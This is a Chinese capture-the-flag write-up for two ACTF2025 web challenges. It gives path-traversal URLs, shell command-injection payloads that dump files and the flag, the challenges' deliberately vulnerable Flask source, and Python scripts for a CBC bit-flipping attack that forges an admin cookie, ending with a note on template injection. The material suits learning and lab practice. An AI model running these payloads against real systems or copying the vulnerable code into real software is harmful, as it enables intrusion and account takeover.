目录

ACTF2025 web部分题解

0

# upload

尝试admin、123456登录,失败,尝试admin',123456登录成功,奇怪

上传文件后,url是http://223.112.5.141:61869/upload?file_path=图片路径

惊喜,尝试发现存在文件读取、路径穿越漏洞,读取结果会以图片base64的形式返回

读取命令行运行命令,找到了源码文件名

# 读取命令行运行命令
http://223.112.5.141:61869/upload?file_path=../../../../proc/self/cmdline
1
2

读取源码

# 读取源码
http://223.112.5.141:61869/upload?file_path=../../../../app/app.py
1
2

1

源码

点击查看
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''
            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

分析源码,关键部分

admin登录

if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
1
2
3

密码的sha256值是32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0,彩虹表查询一下,密码是backdoor

2

上传策略

 else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
1
2
3
4
5
6
7
8
9
10
11
12

这里普通用户上传后会返回base64编码的图片,admin用户上传后会执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64'),直接把file_path拼接进去,没有过滤,看起来存在命令注入漏洞

构造命令

111;whoami;#
1

迷糊了,这个admin是不管执行什么命令都返回Sorry, but you are not allowed to view this image.,验证存在漏洞可以尝试dnslog外带,发现好像不出网

那就用admin用户命令注入,把执行结果写入到/tmp目录下,使用普通用户读取,完美

111;whoami > /tmp/1.txt;#
1

成功执行命令

3

查看flag,flag在根目录下的Fl4g_is_H3r3文件中

1111;ls / > /tmp/1.txt;cat /* >> /tmp/1.txt;%23
1

4

# not so web 1

注册用户1/1,登录后,返回了一大坨编码

抱着试一试的心态尝试b64解码,竟然真是b64..

源码

点击查看
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219

只会一点web,通过ai长时间交流,知道这里是CBC bit flipping Attack翻转攻击

题目不存在文件读取等漏洞,KEY不可知,注册过程没有使用KEY,不能通过flask-unsign爆破KEY,所以只能通过CBC bit flipping Attack来伪造身份

源码关键点:

def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()
1
2
3
4
5
6
7
8
9

生成cookie的函数,使用AES加密,16位的iv,16位的key,16位的padding,最后返回base64编码的iv+encrypted

太难辣!!

拿到本地,自定义key,测试一下cbc伪造身份是否可行

思路

注册一个用户bdmin,密码1,登录,拿到cookie,使用CBC位翻转攻击,伪造一个admin的cookie

app.py

点击查看
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def debug_cookie(cookie: str):
    try:
        # 移除特殊字符并补全Base64长度
        cookie = cookie.replace('/', '').replace('_', '').replace('-', '')
        # 计算需要补充的'='数量
        pad_len = 4 - (len(cookie) % 4)
        cookie += '=' * pad_len if pad_len != 4 else ''

        decoded = base64.b64decode(cookie)
        iv = decoded[:16]
        ciphertext = decoded[16:]

        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        print(f"[解密成功]\nIV: {iv.hex()}\n明文: {decrypted.decode()}")
        return True
    except Exception as e:
        print(f"[解密失败] 错误类型: {type(e).__name__}\n详细信息: {str(e)}")
        return False
def parse_cookie(cookie: str) -> Tuple[bool, str]:
    debug_cookie(request.cookies.get("jwbcookie"))
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")

@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload", "")
        return render_template("home.html",
                           current_username=current_username,
                           payload=payload)
    else:
        server_code = base64.b64encode(open(__file__, "rb").read()).decode()
        return render_template("home.html",
                           current_username=current_username,
                           server_code=server_code)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187

secret.py

点击查看
# 修改后的 secret.py(本地测试用)
KEY = b"0123456789123456"  # 已知的测试密钥
ADMIN_PASSWORD = "admin_pass_123"  # 已知管理员密码
1
2
3

templates/home.html

点击查看
{% extends "base.html" %}

{% block title %}Home{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-8">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Welcome, {{ current_username }}!</h4>
            </div>
            <div class="card-body">
                {% if current_username == "admin" %}
                    <div class="mb-4">
                        <h5>Admin Panel</h5>
                        <div class="alert alert-info">
                            Your payload: {{ payload }}
                        </div>
                    </div>
                    <img src="{{ url_for('static', filename='interesting.jpeg') }}" class="img-fluid rounded mb-4" alt="Admin Image">
                {% else %}
                    <div class="mb-4">
                        <h5>Server Information</h5>
                        <div class="alert alert-secondary">
                            <pre style="white-space: pre-wrap; word-break: break-all;">{{ server_code }}</pre>
                        </div>
                    </div>
                {% endif %}
                <a href="/logout" class="btn btn-danger">Logout</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

templates/base.html

点击查看
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{% block title %}Secure App{% endblock %}</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
        <div class="container">
            <a class="navbar-brand" href="/">Secure App</a>
            <div class="navbar-nav">
                {% if session.get('logged_in') %}
                    <a class="nav-link" href="/logout">Logout</a>
                {% else %}
                    <a class="nav-link" href="/login">Login</a>
                    <a class="nav-link" href="/register">Register</a>
                {% endif %}
            </div>
        </div>
    </nav>

    <div class="container mt-4">
        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                {% for category, message in messages %}
                    <div class="alert alert-{{ category }} alert-dismissible fade show">
                        {{ message }}
                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                    </div>
                {% endfor %}
            {% endif %}
        {% endwith %}

        {% block content %}{% endblock %}
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

templates/register.html

点击查看
{% extends "base.html" %}

{% block title %}Register{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-6">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Register</h4>
            </div>
            <div class="card-body">
                <form method="POST" action="/register">
                    <div class="mb-3">
                        <label for="username" class="form-label">Username</label>
                        <input type="text" class="form-control" id="username" name="username" required>
                    </div>
                    <div class="mb-3">
                        <label for="password" class="form-label">Password</label>
                        <input type="password" class="form-control" id="password" name="password" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Register</button>
                </form>
            </div>
            <div class="card-footer text-center">
                Already have an account? <a href="/login">Login here</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

templates/login.html

点击查看
{% extends "base.html" %}

{% block title %}Login{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-6">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Login</h4>
            </div>
            <div class="card-body">
                <form method="POST" action="/login">
                    <div class="mb-3">
                        <label for="username" class="form-label">Username</label>
                        <input type="text" class="form-control" id="username" name="username" required>
                    </div>
                    <div class="mb-3">
                        <label for="password" class="form-label">Password</label>
                        <input type="password" class="form-control" id="password" name="password" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Login</button>
                </form>
            </div>
            <div class="card-footer text-center">
                Don't have an account? <a href="/register">Register here</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

static/styles.css

点击查看
body {
    background-color: #f8f9fa;
}

.card {
    border-radius: 10px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.card-header {
    background-color: #343a40;
    color: white;
    border-radius: 10px 10px 0 0 !important;
}

.form-control:focus {
    border-color: #6c757d;
    box-shadow: 0 0 0 0.25rem rgba(108, 117, 125, 0.25);
}

.btn-primary {
    background-color: #343a40;
    border-color: #343a40;
}

.btn-primary:hover {
    background-color: #23272b;
    border-color: #23272b;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

翻转攻击脚本

点击查看
import base64
from secret import KEY
from urllib.parse import unquote
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
import re
import json


def debug_cookie_advanced(cookie: str):
    try:
        cookie = unquote(cookie)
        print(f"URL解码后: {cookie}")

        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        print(f"过滤后: {cookie}")

        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        print(f"补全后: {cookie} (长度: {len(cookie)})")

        decoded = base64.b64decode(cookie)
        print(f"解码字节长度: {len(decoded)}")

        iv = decoded[:16]
        ciphertext = decoded[16:]
        print(f"IV: {iv.hex()}")
        print(f"密文长度: {len(ciphertext)}")

        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        print(f"解密成功:\n{decrypted.decode()}")
        return decrypted.decode()

    except Exception as e:
        print(f"[严重错误] {type(e).__name__}: {str(e)}")
        return None


def cbc_bitflip_attack_for_bdmin(original_cookie: str):
    """
    CBC位翻转,将bdmin改成admin
    """
    try:
        # 1. 解码原始Cookie
        cookie = unquote(original_cookie)
        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        decoded = base64.b64decode(cookie)
        iv = bytearray(decoded[:16])
        ciphertext = decoded[16:]

        # 2. 解密获取原始明文
        cipher = AES.new(KEY, AES.MODE_CBC, bytes(iv))
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        plaintext = decrypted.decode()
        print(f"原始明文: {plaintext}")

        # 3. 找到 "bdmin" 出现的位置
        target_old = "bdmin"
        target_new = "admin"

        pos = plaintext.find(target_old)
        if pos == -1:
            raise ValueError("明文中未找到 bdmin")

        print(f"找到bdmin的位置: {pos}")

        # 4. 修改对应的IV或前一块密文
        new_iv = bytearray(iv)
        for i in range(len(target_old)):
            old_byte = ord(target_old[i])
            new_byte = ord(target_new[i])
            flip = old_byte ^ new_byte
            print(f"修改位置 {pos+i}: '{target_old[i]}' -> '{target_new[i]}', 需要异或 {flip:02x}")

            # 判断是修改IV还是前一个密文块
            if pos + i < 16:
                # 在第一个block,修改IV
                new_iv[pos + i] ^= flip
            else:
                # 超过第一个block的情况,可以扩展处理
                raise ValueError("用户名位置超出IV修改范围,这里只处理第一个block内的情况")

        # 5. 重新组合cookie
        forged_cookie = base64.b64encode(new_iv + ciphertext).decode()
        print(f"伪造后的Cookie: {forged_cookie}")

        # 6. 验证结果
        test_decrypted = debug_cookie_advanced(forged_cookie)
        if test_decrypted and target_new in test_decrypted:
            print("[+] CBC位翻转成功!")
            return forged_cookie
        else:
            print("[-] 伪造失败,检查逻辑")
            return None

    except Exception as e:
        print(f"[!] 攻击过程中发生错误: {str(e)}")
        return None


# 测试
test_cookie = "XG4URR04ObV+DopSXbEzgKvIDEplNJwSnlgyeLueWA2/RomaRzPAp9UN1k6un//Leuo934UrvNPxRcFJrLIAwAexCIzJ0CdlYDz1JbTf5ZSiScTo5TjEkL15ZmXYiy15"

print("=== 原始Cookie分析 ===")
debug_cookie_advanced(test_cookie)

print("\n=== 开始CBC位翻转攻击 ===")
forged_cookie = cbc_bitflip_attack_for_bdmin(test_cookie)

if forged_cookie:
    print("\n=== 攻击成功 ===")
    print(f"伪造的管理员Cookie: {forged_cookie}")
else:
    print("\n=== 攻击失败 ===")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

尝试本地翻转攻击,看起来确实可行

5

让AI生成一份,不需要使用KEY验证的脚本,只需要使用CBC位翻转攻击即可

import base64
import re
from urllib.parse import unquote


def cbc_bitflip_attack_without_key(original_cookie: str, target_old: str = "bdmin", target_new: str = "admin"):
    """
    无需KEY的CBC位翻转攻击
    原理:通过修改前一个密文块来影响下一个块的解密结果
    """
    try:
        # 1. 预处理Cookie
        cookie = unquote(original_cookie)
        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        decoded = base64.b64decode(cookie)

        # 2. 分割数据块
        iv = bytearray(decoded[:16])
        ciphertext = bytearray(decoded[16:])
        blocks = [iv] + [ciphertext[i:i + 16] for i in range(0, len(ciphertext), 16)]

        # 3. 需要手动指定目标位置(根据经验或尝试)
        # 假设"bdmin"出现在第一个块,偏移量为10
        block_idx = 0  # 修改IV块(第一个块)
        offset_in_block = 10  # 需要根据实际情况调整

        # 4. 计算需要修改的字节
        modifications = []
        for i in range(min(len(target_old), len(target_new))):
            if i >= len(target_old) or i >= len(target_new):
                break

            if target_old[i] == target_new[i]:
                continue

            flip = ord(target_old[i]) ^ ord(target_new[i])
            blocks[block_idx][offset_in_block + i] ^= flip
            modifications.append(
                f"修改 block[{block_idx}][{offset_in_block + i}]: "
                f"{target_old[i]}{target_new[i]} (异或 {flip:02x})"
            )

        if not modifications:
            print("[!] 无需修改 - 字符串已匹配")
            return original_cookie

        # 5. 生成伪造的Cookie
        forged_payload = b''.join(blocks)
        forged_cookie = base64.b64encode(forged_payload).decode()

        print("\n[攻击详情]")
        for mod in modifications:
            print(f"- {mod}")
        print(f"\n[+] 伪造的Cookie (无需KEY):\n{forged_cookie}")
        return forged_cookie

    except Exception as e:
        print(f"[!] 攻击失败: {type(e).__name__}: {str(e)}")
        return None


# 测试用例
if __name__ == "__main__":
    # 替换为你的实际Cookie
    test_cookie = "uP/CTaX6zXoTSPkygDAYzjltlpBRUBLIosVtwY/b3Vy+k89A3sazG8Dyu2iDeJQvaT5aXhi7Yx+8qOfUtcnacv3o07rt0Wx5bWBOdYb7joqBE6kYwAhACQR76+Cm4rwu"

    print("=== CBC位翻转攻击(无需KEY)===")
    forged = cbc_bitflip_attack_without_key(
        test_cookie,
        target_old="bdmin",
        target_new="admin"
    )

    if forged:
        print("\n[+] 请用此Cookie尝试访问管理员页面")
        print("注意:可能需要尝试不同的偏移量")
    else:
        print("\n[-] 攻击失败,请尝试调整偏移量")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

攻击成功

6

在home路由下,使用了%s格式化字符串到渲染模板里,存在SSTI漏洞

return render_template_string(html_template)
1

梭哈

7

最后一次更新于: 2025/04/29, 01:34:31